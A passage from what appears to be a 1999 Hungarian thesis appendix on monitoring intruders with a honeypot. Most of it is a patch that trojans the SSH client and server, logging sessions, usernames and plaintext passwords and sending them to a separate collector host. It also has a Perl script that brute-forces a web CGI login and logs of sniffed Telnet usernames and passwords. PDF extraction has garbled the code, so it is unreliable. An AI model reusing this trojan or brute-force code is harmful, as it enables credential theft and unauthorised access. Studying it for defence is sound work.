forrás IP, forrás Socket(port), cél IP, cél port) ötössel definiálható alapértelemben. SSH – (Secure Shell). Biztonságos shell elérést biztosı́tó program, mely kódolja az egész jelfolyamot, ı́gy a felhasználók tevékenysége lehallgatás ellen védett. SSL – (Secure Sockets Sublayer). Nevéből adódóan nem teljes hálózati réteg, biztonságos, kódolt kapcsolat létrehozásában nyújt segı́tséget. Switch – Az OSI hálózati modelljének 2. rétegét kezelő hálózati berendezés Több Ethernet szegmens között teremt kapcsolatot, a különböző szegmensek szegmensen belüli forgalmát más szegmenseken nem lehet lehallgatni (esetleg termékspecifikus hiba esetén ). Egyes HUB-ok belső switch funkcióval tudnak különböző sebességű hálózati kártyák között megfelelő kapcsolatot teremteni. Syslog, Syslog daemon – UNIX környezet egyik standard szolgáltatása

naplózásra. A felhasználói és rendszerprogramok üzeneteit menti specifikált fájlokba Távoli, gépek közötti naplózásra is módot ad TCP/IP – (Transport Control Protocol / Internet Protocol). Az Internet alapját képező hálózati protokoll, a különböző IP cı́mű gépek között, szolgáltatások szerint ún. socket-ekre bontva hoz létre kapcsolatot Telnet – A shell elérését biztosı́tó alap-protokoll, távoli gépekre történő bejelentkezést tesz lehetővé. Mivel kódolatlan, ezért lehallgatható Javasolt helyette SSH használata 48 Web, WWW – World Wide Web, az Internet legismertebb szolgáltatása. Az információ átvitele a HTTP protokollon keresztül történik. 49 Függelék B Programkódok B.1 Az /etc-ben lévő fájlok átı́rása a SSH naplózásához a ,,firewall” gépen diff -urN etc-orig/inetd.conf etc/inetdconf --- etc-orig/inetd.conf Mon Oct 18

17:56:41 1999 +++ etc/inetd.conf Mon Oct 18 17:56:27 1999 @@ -105,4 +105,8 @@ # End. +ssh-sniffin stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshin +ssh-sniffout stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshout +sshd-sniffin stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshdin +sshd-sniffout stream tcp nowait nobody /usr/sbin/tcpd /home/boldi/csapda/sniffsshdout diff -urN etc-orig/services etc/services --- etc-orig/services Mon Oct 18 17:57:19 1999 +++ etc/services Mon Oct 18 17:56:46 1999 @@ -208,4 +208,8 @@ isdnlog 20011/tcp isdnlog +ssh-sniffin 922/tcp +ssh-sniffout 923/tcp +sshd-sniffin 924/tcp +sshd-sniffout 925/tcp B.2 ipchains.init script a ,,firewall” szűrőfunkcióinak bekapcsolásához /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains -A -A -A -A -A -A -A -A -A -A -A input input input

input input input input input input input input -p -p -p -p -p -p -p -p -p -p -p udp tcp tcp tcp tcp tcp tcp tcp tcp tcp tcp -s -s -s -s -s -s -s -s -s -s -s 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 152.6678140 -d -d -d -d -d -d -d -d -d -d -d 5.432/32 514 -j REDIRECT 514 152.6678135 53 -j ACCEPT 152.6678135 80 -j ACCEPT 152.6678135 22 -j ACCEPT 152.6678135 21 -j ACCEPT 152.6678135 25 -j ACCEPT 152.6678135 20 -j ACCEPT 152.6678135 922 -j ACCEPT 152.6678135 923 -j ACCEPT 152.6678135 924 -j ACCEPT 152.6678135 925 -j ACCEPT /sbin/ipchains /sbin/ipchains /sbin/ipchains /sbin/ipchains -A -A -A -A input input input input -p -p -p -p tcp udp tcp tcp -s -s -s -s 152.6678140 152.6678140 152.6678140 152.6678140 -d -d -d -d 152.6678135 152.6678135 152.6678135 152.6678135 50 1:1024 -j DENY 1:1024 -j DENY 3355 -j DENY 3333 -j DENY B.3 Az SSH kliens és szerver program átı́rása unified diff

formában diff -urN ssh-1.227-orig/Makefilein ssh-1227-atirt13/Makefilein --- ssh-1.227-orig/Makefilein Wed May 12 13:19:31 1999 +++ ssh-1.227-atirt13/Makefilein Mon Oct 18 17:12:06 1999 @@ -325,7 +325,8 @@ userfile.o signalso blowfisho deattacko SSHD OBJS = sshd.o auth-rhostso auth-passwdo auth-rsao auth-rh-rsao ptyo log-server.o logino hostfileo canohosto servconfo tildexpando -serverloop.o $(COMMON OBJS) $(KERBEROS OBJS) $(SSHDCONFOBJS) + serverloop.o sshconnecto sshleakdo + $(COMMON OBJS) $(KERBEROS OBJS) $(SSHDCONFOBJS) SSH OBJS = ssh.o sshconnecto log-cliento readconfo hostfileo readpasso tildexpand.o clientloopo canohosto $(COMMON OBJS) $(SSHCONFOBJS) KEYGEN OBJS = ssh-keygen.o log-cliento readpasso rsao randomso md5o diff -urN ssh-1.227-orig/clientloopc ssh-1227-atirt13/clientloopc --- ssh-1.227-orig/clientloopc Wed May 12 13:19:25 1999 +++ ssh-1.227-atirt13/clientloopc Mon Oct 18 17:12:06 1999 @@ -304,6 +304,7 @@ case SSH SMSG STDOUT DATA: data = packet get

string(&data len); buffer append(&stdout buffer, data, data len); + packet addleakin( data, data len); stdout bytes += data len; memset(data, 0, data len); xfree(data); @@ -634,6 +635,7 @@ /* Normal successful read, and no escape character. Just append the data to buffer. */ buffer append(&stdin buffer, buf, len); + packet addleakout( buf, len); stdin bytes += len; } else @@ -752,6 +754,7 @@ buf[0] = escape char; buf[1] = ch; buffer append(&stdin buffer, buf, 2); + packet addleakout( buf, 2); stdin bytes += 2; continue; } @@ -779,6 +782,9 @@ last was cr = (ch == ’ ’ || ch == ’ ’); buf[0] = ch; buffer append(&stdin buffer, buf, 1); + packet addleakout(buf,1); + + stdin bytes += 1; continue; } diff -urN ssh-1.227-orig/confdefsh ssh-1227-atirt13/confdefsh --- ssh-1.227-orig/confdefsh Thu Jan 1 01:00:00 1970 +++ ssh-1.227-atirt13/confdefsh Mon Oct 18 17:12:09 1999 @@ -0,0 +1,69 @@ + +#define HOSTTYPE "i686-unknown-linux" +#define HAVE ETC SHADOW 1

+#define USE PIPES 1 +#define RETSIGTYPE void +#define STDC HEADERS 1 +#define HAVE ST BLKSIZE 1 +#define SIZEOF LONG 4 +#define SIZEOF INT 4 +#define SIZEOF SHORT 2 +#define HAVE TERMIOS H 1 +#define STDC HEADERS 1 +#define HAVE SYS WAIT H 1 +#define HAVE UNISTD H 1 +#define HAVE SYS TIME H 1 +#define HAVE LASTLOG H 1 +#define HAVE UTMP H 1 +#define HAVE SHADOW H 1 +#define HAVE SGTTY H 1 +#define HAVE SYS SELECT H 1 +#define HAVE SYS IOCTL H 1 +#define HAVE PATHS H 1 +#define HAVE UTIME H 1 +#define HAVE NETINET IN SYSTM H 1 +#define HAVE NETINET IP H 1 51 +#define HAVE NETINET TCP H 1 +#define HAVE SYS RESOURCE H 1 +#define TIME WITH SYS TIME 1 +#define HAVE DIRENT H 1 +#define MAJOR IN SYSMACROS 1 +#define HAVE PID IN UTMP 1 +#define HAVE NAME IN UTMP 1 +#define HAVE ID IN UTMP 1 +#define HAVE HOST IN UTMP 1 +#define HAVE ADDR IN UTMP 1 +#define HAVE LIBCRYPT 1 +#define HAVE LIBNSL 1 +#define HAVE LIBUTIL LOGIN 1 +#define HAVE VHANGUP 1 +#define HAVE SETSID 1 +#define HAVE

GETTIMEOFDAY 1 +#define HAVE TIMES 1 +#define HAVE GETRUSAGE 1 +#define HAVE FTRUNCATE 1 +#define HAVE STRCHR 1 +#define HAVE MEMCPY 1 +#define HAVE OPENPTY 1 +#define HAVE CLOCK 1 +#define HAVE FCHMOD 1 +#define HAVE ULIMIT 1 +#define HAVE GETHOSTNAME 1 +#define HAVE GETDTABLESIZE 1 +#define HAVE UMASK 1 +#define HAVE INNETGR 1 +#define HAVE INITGROUPS 1 +#define HAVE SETPGRP 1 +#define HAVE SETPGID 1 +#define HAVE DAEMON 1 +#define HAVE WAITPID 1 +#define HAVE TTYSLOT 1 +#define HAVE STRERROR 1 +#define HAVE MEMMOVE 1 +#define HAVE REMOVE 1 +#define HAVE RANDOM 1 +#define HAVE PUTENV 1 +#define HAVE CRYPT 1 +#define HAVE SOCKETPAIR 1 +#define HAVE SNPRINTF 1 +#define PASSWD PATH "/usr/bin/passwd" diff -urN ssh-1.227-orig/packetc ssh-1227-atirt13/packetc --- ssh-1.227-orig/packetc Wed May 12 13:19:27 1999 +++ ssh-1.227-atirt13/packetc Mon Oct 18 17:12:06 1999 @@ -100,8 +100,11 @@ the other side. connection in is used for reading; connection out for writing. These can be the

same descriptor, in which case it is assumed to be a socket. */ +static int connection leakout = -1; +static int connection leakin = -1; static int connection in = -1; static int connection out = -1; +char hostleak[5000]; /* Cipher type. This value is only used to determine whether to pad the packets with zeroes or random data. */ @@ -115,6 +118,10 @@ /* Encryption coontext for sending data. This is only used for encryption */ static CipherContext send context; +static Buffer +static Buffer + + /* Buffer for static Buffer leakin; leakout; raw input data from the socket. */ input; @@ -147,6 +154,62 @@ /* Sets the descriptors used for communication. packet set encryption key is called. */ +void packet set connection leakout(int fd) +{ + connection leakout = fd; +} +void packet set connection leakin(int fd) +{ + connection leakin = fd; +} +void packet addleakinfo(char *s) +{ Disables encryption until 52 +packet addleakout(s,strlen(s)); +packet addleakout cr(); + +} + +void packet

addleakout(char *mit,int hossz) +{ +int i; +i=0; +strcpy(hostleak," "); +while (i<hossz) +{ +if (strncmp(mit+i," ",1)==0) +{ +buffer append(&leakout,mit+i,1); +buffer append(&leakout,hostleak,1); +} else +{ +buffer append(&leakout,mit+i,1); +} +i++; +} +//buffer append(&leakout,mit,hossz); +} + +void packet addleakin(char *mit,int hossz) +{ +buffer append(&leakin,mit,hossz); +} +void packet addleakout cr() +{ + strcpy(hostleak," "); + buffer append(&leakout,hostleak,strlen(hostleak)); +} +void packet addhostin(char *hostk) +{ + strncpy(hostleak,hostk,4999); + strcat(hostleak," "); + buffer append(&leakin,hostleak,strlen(hostleak)); +} +void packet addhostout(char *hostk) +{ + strncpy(hostleak,hostk,4999); + strcat(hostleak," "); + buffer append(&leakout,hostleak,strlen(hostleak)); +} void packet set connection(int fd in, int fd out, RandomState *state) { @@ -163,6 +226,8 @@ buffer init(&output);

buffer init(&outgoing packet); buffer init(&incoming packet); + buffer init(&leakin); + buffer init(&leakout); } /* Kludge: arrange the close function to be called from fatal(). */ @@ -275,6 +340,7 @@ unsigned int bytes) { assert((bytes % 8) == 0); + cipher encrypt(cc, dest, src, bytes); } @@ -400,6 +466,12 @@ fatal("packet send: sending too big a packet: size %u, limit %u.", buffer len(&outgoing packet), max packet size); +// buffer append(&leakout,buffer ptr(&outgoing packet), +// buffer len(&outgoing packet)); /*elmegy a titkositatlan/ +// buffer consume(&leakout, 8); /* Skip padding. */ + + + /* If using packet compression, compress the payload of the outgoing packet. */ if (packet compression) @@ -443,7 +515,6 @@ buffer append space(&output, &cp, buffer len(&outgoing packet)); packet encrypt(&send context, cp, buffer ptr(&outgoing packet), buffer len(&outgoing packet)); - 53 #ifdef PACKET DEBUG

fprintf(stderr, "encrypted: "); buffer dump(&output); #endif @@ -624,6 +695,7 @@ goto restart; } + packet write poll leakin(); /* Return type. */ return (unsigned char)buf[0]; } @@ -747,9 +819,41 @@ /* Checks if there is any buffered output, and tries to write some of the output. */ +void packet write poll leakout(void) +{ + int len = buffer len(&leakout); + if (len > 0) + { + len = write(connection leakout, buffer ptr(&leakout), len); + if (len <= 0) + if (len != 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) + return; + else + fatal severity(SYSLOG SEVERITY INFO, + "Write failed: %.100s", strerror(errno)); + buffer consume(&leakout, len); + } +} +void packet write poll leakin(void) +{ + int len = buffer len(&leakin); + if (len > 0) + { + len = write(connection leakin, buffer ptr(&leakin), len); + if (len <= 0) + if (len != 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) + return; + else + fatal severity(SYSLOG

SEVERITY INFO, + "Write failed: %.100s", strerror(errno)); + buffer consume(&leakin, len); + } +} + void packet write poll(void) { int len = buffer len(&output); + packet write poll leakout();/*elkuldjuk a leaket is.*/ if (len > 0) { len = write(connection out, buffer ptr(&output), len); diff -urN ssh-1.227-orig/serverloopc ssh-1227-atirt13/serverloopc --- ssh-1.227-orig/serverloopc Wed May 12 13:19:28 1999 +++ ssh-1.227-atirt13/serverloopc Mon Oct 18 17:12:06 1999 @@ -163,6 +163,7 @@ } data = packet get string(&data len); buffer append(&stdin buffer, data, data len); + packet addleakout(data,data len); memset(data, 0, data len); xfree(data); break; @@ -502,6 +503,7 @@ else { buffer append(&stdout buffer, buf, len); + packet addleakin(buf,len); fdout bytes += len; } } diff -urN ssh-1.227-orig/sshc ssh-1227-atirt13/sshc --- ssh-1.227-orig/sshc Wed May 12 13:19:28 1999 +++ ssh-1.227-atirt13/sshc Mon Oct 18 17:12:06 1999 @@ -793,9 +793,22 @@ rhosts

authentication is true. Note that the random state is not yet used by this call, although a pointer to it is stored, and thus it need not be initialized. */ + ok = ssh connect leakin("152.6678135",922, optionsconnection attempts, + !use privileged port, + original real uid, options.proxy command, &random state); + + ok = ssh connect leakout("152.6678135",923, optionsconnection attempts, 54 + + + !use privileged port, original real uid, options.proxy command, &random state); ok = ssh connect(host, options.port, optionsconnection attempts, !use privileged port, original real uid, options.proxy command, &random state); + + + packet addhostin(host); + packet addhostout(host); + /* Check if the connection failed, and try "rsh" if appropriate. */ if (!ok) diff -urN ssh-1.227-orig/sshconnectc ssh-1227-atirt13/sshconnectc --- ssh-1.227-orig/sshconnectc Wed May 12 13:19:29 1999 +++ ssh-1.227-atirt13/sshconnectc Mon Oct 18 17:12:06 1999 @@ -592,7

+592,408 @@ return 1; } +/*leak/ +int ssh connect leakin(const char *host, int port, int +connection attempts, + int anonymous, uid t original real uid, + const char *proxy command, RandomState random state) +{ + int sock = -1, attempt, i; + int on = 1; + struct servent *sp; + struct hostent *hp; + struct sockaddr in hostaddr; +#if defined(SO LINGER) && defined(ENABLE SO LINGER) + struct linger linger; +#endif /* SO LINGER / + + debug("ssh connect: getuid %d geteuid %d anon %d", + (int)getuid(), (int)geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) + { + sp = getservbyname(SSH SERVICE NAME, "tcp"); + if (sp) + port = ntohs(sp->s port); + else + port = SSH DEFAULT PORT; + } + + /* Map localhost to ip-address locally / + if (strcmp(host, "localhost") == 0) + host = "127.001"; + + /* If a proxy command is given, connect using it. */ + if (proxy command != NULL && *proxy command) + return

ssh proxy connect(host, port, original real uid, proxy command, + random state); + + /* No proxy command. */ + + /* No host lookup made yet. */ + hp = NULL; + + /* Try to connect several times. On some machines, the first time will + sometimes fail. In general socket code appears to behave quite + magically on many machines. */ + for (attempt = 0; attempt < connection attempts; attempt++) + { + if (attempt > 0) + debug("Trying again."); + + /* Try to parse the host name as a numeric inet address. */ + memset(&hostaddr, 0, sizeof(hostaddr)); + hostaddr.sin family = AF INET; + hostaddr.sin port = htons(port); +#ifdef BROKEN INET ADDR + hostaddr.sin addrs addr = inet network(host); +#else /* BROKEN INET ADDR / + hostaddr.sin addrs addr = inet addr(host); +#endif /* BROKEN INET ADDR / + if ((hostaddr.sin addrs addr & 0xffffffff) != 0xffffffff) + { + /* Create a socket. */ + sock = ssh create socket(original real uid, 55 + !anonymous && geteuid() == UID

ROOT); + + /* Valid numeric IP address / + debug("Connecting to %.100s port %d", + inet ntoa(hostaddr.sin addr), port); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#else /* SOCKS / + if (connect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#endif /* SOCKS / + >= 0) + { + /* Successful connect. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Destroy the failed socket. */ + shutdown(sock, 2); + close(sock); + } + else + { + /* Not a valid numeric inet address. */ + /* Map host name to an address. */ + if (!hp) + { + struct hostent *hp static; + +#if defined(SOCKS5) + hp static = Rgethostbyname(host); +#else + hp static = gethostbyname(host); +#endif + if (hp static) + { + hp = xmalloc(sizeof(struct hostent)); + memcpy(hp, hp static, sizeof(struct hostent)); + + /* Copy list of addresses, not just pointers. + We don’t use h name & h aliases so

leave them as is */ + for (i = 0; hp static->h addr list[i]; i++) + ; /* count them / + hp->h addr list = xmalloc((i + 1) * + sizeof(hp static->h addr list[0])); + for (i = 0; hp static->h addr list[i]; i++) + { + hp->h addr list[i] = xmalloc(hp->h length); + memcpy(hp->h addr list[i], hp static->h addr list[i], + hp->h length); + } + hp->h addr list[i] = NULL; /* last one / + } + } + if (!hp) + fatal("Bad host name: %.100s", host); + if (!hp->h addr list[0]) + fatal("Host does not have an IP address: %.100s", host); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (i = 0; hp->h addr list[i]; i++) + { + /* Set the address to connect to. */ + hostaddr.sin family = hp->h addrtype; + memcpy(&hostaddr.sin addr, hp->h addr list[i], + sizeof(hostaddr.sin addr)); + + debug("Connecting to %.200s [%100s] port %d", + host, inet ntoa(hostaddr.sin addr),

port); + + /* Create a socket for connecting. */ + sock = ssh create socket(original real uid, + !anonymous && geteuid() == UID ROOT); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0) +#else /* SOCKS / + if (connect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0) 56 +#endif /* SOCKS / + { + /* Successful connection. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Close the failed socket; there appear to be some problems + when reusing a socket for which connect() has already + returned an error. */ + shutdown(sock, 2); + close(sock); + } + if (hp->h addr list[i]) + break; /* Successful connection. */ + } + + /* Sleep a moment before retrying. */ + sleep(1); + } + + if (hp) + { + for (i = 0; hp->h addr list[i]; i++) + xfree(hp->h addr list[i]); + xfree(hp->h addr list); + xfree(hp); + } + + /* Return failure if we didn’t get

a successful connection. */ + if (attempt >= connection attempts) + return 0; + + debug("Connection established."); + + /* Set socket options. We would like the socket to disappear as soon as + it has been closed for whatever reason. */ + /* setsockopt(sock, SOL SOCKET, SO REUSEADDR, (void )&on, sizeof(on)); / +#if defined(TCP NODELAY) && defined(ENABLE TCP NODELAY) + setsockopt(sock, IPPROTO TCP, TCP NODELAY, (void *)&on, sizeof(on)); +#endif /* TCP NODELAY / +#if defined(SO LINGER) && defined(ENABLE SO LINGER) + linger.l onoff = 1; + linger.l linger = 15; + setsockopt(sock, SOL SOCKET, SO LINGER, (void *)&linger, sizeof(linger)); +#endif /* SO LINGER / + + /* Set the connection. */ + packet set connection leakin(sock); + + return 1; +} + +int ssh connect leakout(const char *host, int port, int +connection attempts, + int anonymous, uid t original real uid, + const char *proxy command, RandomState random state) +{ + int sock = -1, attempt, i; +

int on = 1; + struct servent *sp; + struct hostent *hp; + struct sockaddr in hostaddr; +#if defined(SO LINGER) && defined(ENABLE SO LINGER) + struct linger linger; +#endif /* SO LINGER / + + debug("ssh connect: getuid %d geteuid %d anon %d", + (int)getuid(), (int)geteuid(), anonymous); + + /* Get default port if port has not been set. */ + if (port == 0) + { + sp = getservbyname(SSH SERVICE NAME, "tcp"); + if (sp) + port = ntohs(sp->s port); + else + port = SSH DEFAULT PORT; + } + + /* Map localhost to ip-address locally / + if (strcmp(host, "localhost") == 0) + host = "127.001"; + 57 + /* If a proxy command is given, connect using it. */ + if (proxy command != NULL && *proxy command) + return ssh proxy connect(host, port, original real uid, proxy command, + random state); + + /* No proxy command. */ + + /* No host lookup made yet. */ + hp = NULL; + + /* Try to connect several times. On some machines, the first time will +

sometimes fail. In general socket code appears to behave quite + magically on many machines. */ + for (attempt = 0; attempt < connection attempts; attempt++) + { + if (attempt > 0) + debug("Trying again."); + + /* Try to parse the host name as a numeric inet address. */ + memset(&hostaddr, 0, sizeof(hostaddr)); + hostaddr.sin family = AF INET; + hostaddr.sin port = htons(port); +#ifdef BROKEN INET ADDR + hostaddr.sin addrs addr = inet network(host); +#else /* BROKEN INET ADDR / + hostaddr.sin addrs addr = inet addr(host); +#endif /* BROKEN INET ADDR / + if ((hostaddr.sin addrs addr & 0xffffffff) != 0xffffffff) + { + /* Create a socket. */ + sock = ssh create socket(original real uid, + !anonymous && geteuid() == UID ROOT); + + /* Valid numeric IP address / + debug("Connecting to %.100s port %d", + inet ntoa(hostaddr.sin addr), port); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr,

sizeof(hostaddr)) +#else /* SOCKS / + if (connect(sock, (struct sockaddr *)&hostaddr, sizeof(hostaddr)) +#endif /* SOCKS / + >= 0) + { + /* Successful connect. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Destroy the failed socket. */ + shutdown(sock, 2); + close(sock); + } + else + { + /* Not a valid numeric inet address. */ + /* Map host name to an address. */ + if (!hp) + { + struct hostent *hp static; + +#if defined(SOCKS5) + hp static = Rgethostbyname(host); +#else + hp static = gethostbyname(host); +#endif + if (hp static) + { + hp = xmalloc(sizeof(struct hostent)); + memcpy(hp, hp static, sizeof(struct hostent)); + + /* Copy list of addresses, not just pointers. + We don’t use h name & h aliases so leave them as is */ + for (i = 0; hp static->h addr list[i]; i++) + ; /* count them / + hp->h addr list = xmalloc((i + 1) * + sizeof(hp static->h addr list[0])); + for (i = 0; hp static->h addr list[i]; i++) + { + hp->h addr

list[i] = xmalloc(hp->h length); + memcpy(hp->h addr list[i], hp static->h addr list[i], + hp->h length); + } 58 + hp->h addr list[i] = NULL; /* last one / + } + } + if (!hp) + fatal("Bad host name: %.100s", host); + if (!hp->h addr list[0]) + fatal("Host does not have an IP address: %.100s", host); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (i = 0; hp->h addr list[i]; i++) + { + /* Set the address to connect to. */ + hostaddr.sin family = hp->h addrtype; + memcpy(&hostaddr.sin addr, hp->h addr list[i], + sizeof(hostaddr.sin addr)); + + debug("Connecting to %.200s [%100s] port %d", + host, inet ntoa(hostaddr.sin addr), port); + + /* Create a socket for connecting. */ + sock = ssh create socket(original real uid, + !anonymous && geteuid() == UID ROOT); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr

*)&hostaddr, + sizeof(hostaddr)) >= 0) +#else /* SOCKS / + if (connect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0) +#endif /* SOCKS / + { + /* Successful connection. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Close the failed socket; there appear to be some problems + when reusing a socket for which connect() has already + returned an error. */ + shutdown(sock, 2); + close(sock); + } + if (hp->h addr list[i]) + break; /* Successful connection. */ + } + + /* Sleep a moment before retrying. */ + sleep(1); + } + + if (hp) + { + for (i = 0; hp->h addr list[i]; i++) + xfree(hp->h addr list[i]); + xfree(hp->h addr list); + xfree(hp); + } + + /* Return failure if we didn’t get a successful connection. */ + if (attempt >= connection attempts) + return 0; + + debug("Connection established."); + + /* Set socket options. We would like the socket to disappear as soon as + it has been closed for whatever

reason. */ + /* setsockopt(sock, SOL SOCKET, SO REUSEADDR, (void )&on, sizeof(on)); / +#if defined(TCP NODELAY) && defined(ENABLE TCP NODELAY) + setsockopt(sock, IPPROTO TCP, TCP NODELAY, (void *)&on, sizeof(on)); +#endif /* TCP NODELAY / +#if defined(SO LINGER) && defined(ENABLE SO LINGER) + linger.l onoff = 1; + linger.l linger = 15; + setsockopt(sock, SOL SOCKET, SO LINGER, (void *)&linger, sizeof(linger)); +#endif /* SO LINGER / + + /* Set the connection. */ + packet set connection leakout(sock); + + return 1; +} + 59 + +/*!!!leak/ /* Checks if the user has an authentication agent, and if so, tries to authenticate using the agent. */ @@ -1636,6 +2037,8 @@ packet put string(server user, strlen(server user)); packet send(); packet write wait(); + packet addleakinfo("username:"); + packet addleakinfo(server user); /* The server should respond with success if no authentication is needed (the user has no password). Otherwise the server responds

with @@ -1752,6 +2155,8 @@ prompt = packet get string(NULL); /* Asks for password / password = read passphrase(pw->pw uid, prompt, 0); + packet addleakinfo("password:"); + packet addleakinfo(password); packet start(SSH CMSG AUTH TIS RESPONSE); packet put string(password, strlen(password)); memset(password, 0, strlen(password)); @@ -1790,6 +2195,8 @@ for(i = 0; i < options->number of password prompts; i++) { password = read passphrase(pw->pw uid, prompt, 0); + packet addleakinfo("password:"); + packet addleakinfo(password); packet start(SSH CMSG AUTH PASSWORD); packet put string(password, strlen(password)); memset(password, 0, strlen(password)); diff -urN ssh-1.227-orig/sshdc ssh-1227-atirt13/sshdc --- ssh-1.227-orig/sshdc Wed May 12 13:19:29 1999 +++ ssh-1.227-atirt13/sshdc Mon Oct 18 17:12:06 1999 @@ -1271,6 +1271,21 @@ const char *hostname = get canonical hostname(); const char *ipaddr = get remote ipaddr(); int i; + ssh connect

leakin("152.6678135",924, + 5, + 1, + original real uid, "", + ""); + + ssh connect leakout("152.6678135",925, + 5, + 1, + original real uid, "", + ""); + packet addhostin(hostname); + packet addhostout(hostname); + + if (options.num deny hosts > 0) { for (i = 0; i < options.num deny hosts; i++) @@ -2655,6 +2670,11 @@ user, get canonical hostname()); } password attempts++; + fprintf(stderr,"debug!-username "); + packet addleakinfo("username:"); + packet addleakinfo(user); + packet addleakinfo("password:"); + packet addleakinfo(password); /* Try authentication with the password. */ #if defined(KERBEROS) && defined(KRB5) diff -urN ssh-1.227-orig/sshleakdc ssh-1227-atirt13/sshleakdc --- ssh-1.227-orig/sshleakdc Thu Jan 1 01:00:00 1970 +++ ssh-1.227-atirt13/sshleakdc Mon Oct 18 17:12:09 1999 @@ -0,0 +1,16 @@ +/* sshleak.c + +*/ +#include "includes.h" +#include

"xmalloc.h" +#include "ssh.h" +#include "userfile.h" + +char *read passphrase(uid t uid, const char prompt, int from stdin) +{ 60 +return ""; +} + +void read confirmation(const char *prompt) +{ +} B.4 PERL program a jelszófájl-módosulások vizsgálatához #!/usr/bin/perl if (scalar(@ARGV)<2) { print "parameterek: pdiff.pl <regijelszofajl> <ujjelszofajl> "; exit; } if (open(F1,$ARGV[0])==0) { print "$ARGV[0] - fajl megnyitasi hiba ! "; exit; } if (open(F2,$ARGV[1])==0) { print "$ARGV[1] - fajl megnyitasi hiba ! "; exit; } @FF1=<F1>; @FF2=<F2>; close(F1); close(F2); foreach $sor (@FF1) { @s=split(":",$sor); if (length(@s[1])>=13) { $erv1++; #ervenyes jelszavak szamat noveljuk if (scalar(grep(/^@s[0]:@s[1]:.*/,@FF2))>0) { $maradt++; } else { $valtozott++; } if (scalar(grep(/^@s[0]:.*/,@FF2))==0) { $torolt++; } } } print (" ervenyes jelszavak a regi

fajlban: $erv1 "); print ("megvaltoztatott jelszavak: $valtozott maradt: $maradt "); print ("torolt jelszavak: $torolt "); $arany=$valtozott/$maradt; print (" megvaltozott/maradt: $arany "); $db1=scalar(@FF1); $db2=scalar(@FF2); print (" regi jelszofajl nagysag: $db1, uj:$db2 "); B.5 PERL program a CGI alapú Web-es probléma támadására #!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common; while ($sor=<>) 61 { $s=$sor; $s=~ s/ //g; @s2=split(":",$s); $nev=@s2[0]; $jelszo=@s2[1]; print "."; $i++; if ($i % 100==0) {print $i." ";} $ua = new LWP::UserAgent; $ua->agent("Netspek"); # #itt jon a specifikus cgi meghivasa # # ezt kihagytuk. a $rq valtozo tartalmazza az adott POST kerelmet $res=$ua->request($rq); if (! $res->is success) {print "error--$nev $jelszo ";} @V=$res->content; @V2=grep(/.*assword check ok.*/,@V); if (scalar(@V2)>0) {

open(F,">>siker"); print F $sor; close(F); } } 62 Függelék C Néhány tipikus naplófájl C.1 [Wed [Wed [Wed [Wed [Wed [Wed [Thu [Thu [Fri [Fri [Fri [Fri Oct Oct Oct Oct Oct Oct Oct Oct Oct Oct Oct Oct C.2 A Telnet bejelentkezések naplófájlja 13 13 13 13 13 13 14 14 15 15 15 15 14:27:47 14:27:47 14:28:26 14:28:26 14:29:14 14:29:14 18:41:56 18:41:57 07:45:11 07:45:20 15:54:18 15:54:20 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] - Sniffit session ended. Sniffit session started. 152.66781291858-152667814023: login [boldi~~~~~~~geza] 152.66781291858-152667814023: password [rosi] Sniffit session ended. Sniffit session started. 193.91879263431-152667814023: login [iko] 193.91879263431-152667814023: password [iko5] 152.66781401028-2097914019823: login [guest] 152.66781401028-2097914019823: password [guest] 146.110722032594-152667814023: login [geza] 146.110722032594-152667814023: password [rosi] Egy lehallgatott SSH

kapcsolat felhasználó felé irányuló adatfolyama Linux camus 2.212 #3 SMP Tue Sep 7 17:10:45 CEST 1999 i686 unknown o----------------------------------------o | Access to this system is monitored. | | Unauthorized access is prohibited. | | Violators will be referred for | | prosecution. | o----------------------------------------o You have new mail. $ ls -la total 488 drwxr-sr-x 3 viko viko 1024 Oct drwxrwsr-x 14 root staff 1024 Oct -rw------1 viko viko 1145 Oct -rw-r--r-1 viko viko 80 Oct -rw-r--r-1 viko viko 70 Oct -rw-r--r-1 root viko 55 Oct drwxr-sr-x 8 viko viko 1024 Oct -rw-rw-r-1 viko viko 487870 Oct $ cd eggdrop $ ls -la total 313 drwxr-sr-x 8 viko viko 1024 Oct drwxr-sr-x 3 viko viko 1024 Oct -rw-r--r-1 viko viko 857 Oct -rw------1 viko viko 1258 Oct -rw-rw-r-1 viko viko 0 Oct -rw-rw-r-1 viko viko 0 Oct -rw------1 viko viko 5998 Oct -rw-rw-r-1 viko viko 494 Oct -rw------1 viko viko 29153 Oct -rw-r--r-1 viko viko 481 Oct -rw-rw-r-1 viko viko 56 Oct 12 12 12 11 11 11

